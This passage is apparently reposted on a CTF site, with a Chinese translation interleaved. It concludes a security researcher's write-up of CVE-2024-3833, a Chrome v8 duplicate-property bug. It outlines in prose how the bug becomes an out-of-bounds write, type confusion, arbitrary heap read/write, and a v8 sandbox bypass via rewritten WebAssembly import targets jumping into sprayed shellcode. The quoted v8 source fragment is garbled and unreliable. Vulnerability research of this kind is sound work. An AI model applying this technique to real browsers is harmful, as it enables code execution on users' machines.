lives in the v8 heap, it can easily be modified once I’ve gained arbitrary read and write primitives in the v8 heap. I can therefore rewrite the imported function targets, so that when an imported function is called in WebAssembly code, it’ll jump to the address of some shell code that I prepared to gain code execution.
In particular, if the imported function is a Javascript Math
function, then some wrapper code is compiled and used as a call target in imported_function_targets
:
bool InstanceBuilder::ProcessImportedFunction(
Handle trusted_instance_data, int import_index,
int func_index, Handle module_name, Handle import_name,
Handle value, WellKnownImport preknown_import) {
...
default: {
...
WasmCode* wasm_code = native_module->import_wrapper_cache()->Get( //kind() == WasmCode::kWasmToJsWrapper) {
...
} else {
// Wasm math intrinsics are compiled as regular Wasm functions.
DCHECK(kind >= ImportCallKind::kFirstMathIntrinsic &&
kind instance_object(), //instruction_start());
}
As the compiled wrapper code is stored in the same rx
region where other WebAssembly code compiled by the Liftoff compiler is stored, I can create WebAssembly functions that store numerical data, and rewrite the imported_function_targets
to jump to the middle of these data so that they get interpreted as code and be executed. The idea is similar to that of JIT spraying, which was a method to bypass the heap sandbox, but has since been patched. As the wrapper code and the WebAssembly code that I compiled are in the same region, the offsets between them can be computed, this allows me to jump precisely to the data in the WebAssembly code that I crafted to execute arbitrary shell code.
The exploit can be found here with some set-up notes.
Conclusion
In this post, I’ve looked at CVE-2024-3833, a bug that allows duplicate properties to be created in a v8 object, which is similar to the bug CVE-2021-30561. While the method to exploit duplicate properties in CVE-2021-30561 is no longer available due to code hardening, I was able to exploit the bug in a different way.
在这篇文章中,我研究了 CVE-2024-3833,这是一个允许在 v8 对象中创建重复属性的错误,该错误与错误 CVE-2021-30561 类似。虽然由于代码强化,利用 CVE-2021-30561 中重复属性的方法不再可用,但我能够以不同的方式利用该错误。
- First transfer the duplicate properties into an inconsistency between an object’s
PropertyArray
and itsmap
.
首先将重复属性转换为对象的PropertyArray
与其map
之间的不一致。 - This then turns into an OOB write of the
PropertyArray
, which I then used to create a type confusion between a JavascriptObject
and a JavascriptArray
.
然后,这会变成PropertyArray
的 OOB 写入,然后我用它来创建 JavascriptObject
和 JavascriptArray
之间的类型混淆。 - Once such type confusion is achieved, I can rewrite the
length
of the type confused JavascriptArray
. This then becomes an OOB access in a JavascriptArray
.
一旦实现了这种类型混淆,我就可以重写类型混淆的 JavascriptArray
的length
。然后,这将成为 JavascriptArray
中的 OOB 访问。
Once an OOB access in an Javascript Array
(corrupted_arr
) is achieved, it is fairly standard to turn this into an arbitrary read and write inside the v8 heap. It essentially consists of the following steps:
一旦在 Javascript Array
( corrupted_arr
) 中实现 OOB 访问,将其转换为 v8 堆内的任意读写是相当标准的。它主要由以下步骤组成:
- First, place an
Object
Array
aftercorrupted_arr
, and use the OOB read primitive incorrupted_arr
to read the addresses of the objects stored in this array. This allows me to obtain the address of any V8 object.
首先,在corrupted_arr
之后放置Object
Array
,并使用corrupted_arr
中的 OOB read 原语读取存储在这个数组。这使我能够获取任何 V8 对象的地址。 - Place another double array,
writeArr
aftercorrupted_arr
, and use the OOB write primitive incorrupted_arr
to overwrite theelement
field ofwriteArr
to an object address. Accessing the elements ofwriteArr
then allows me to read/write to arbitrary addresses.
在corrupted_arr
之后放置另一个双精度数组writeArr
,并使用corrupted_arr
中的 OOB 写入原语覆盖writeArr
字段 到对象地址。然后访问writeArr
的元素允许我读取/写入任意地址。
As v8 has recently implemented the v8 heap sandbox, getting arbitrary memory read and write in the v8 heap is not sufficient to achieve code execution. In order to achieve code execution, I overwrite jump targets of WebAssembly imported functions, which were stored in the v8 heap. By rewriting the jump targets to locations of shell code, I can execute arbitrary code calling imported functions in a WebAssembly module.
由于v8最近实现了v8堆沙箱,在v8堆中获得任意内存读写并不足以实现代码执行。为了实现代码执行,我覆盖了存储在 v8 堆中的 WebAssembly 导入函数的跳转目标。通过将跳转目标重写到 shell 代码的位置,我可以执行调用 WebAssembly 模块中导入函数的任意代码。
原文始发于Man Yue Mo:Attack of the clones: Getting RCE in Chrome’s renderer with duplicate object properties
转载请注明:Attack of the clones: Getting RCE in Chrome’s renderer with duplicate object properties | CTF导航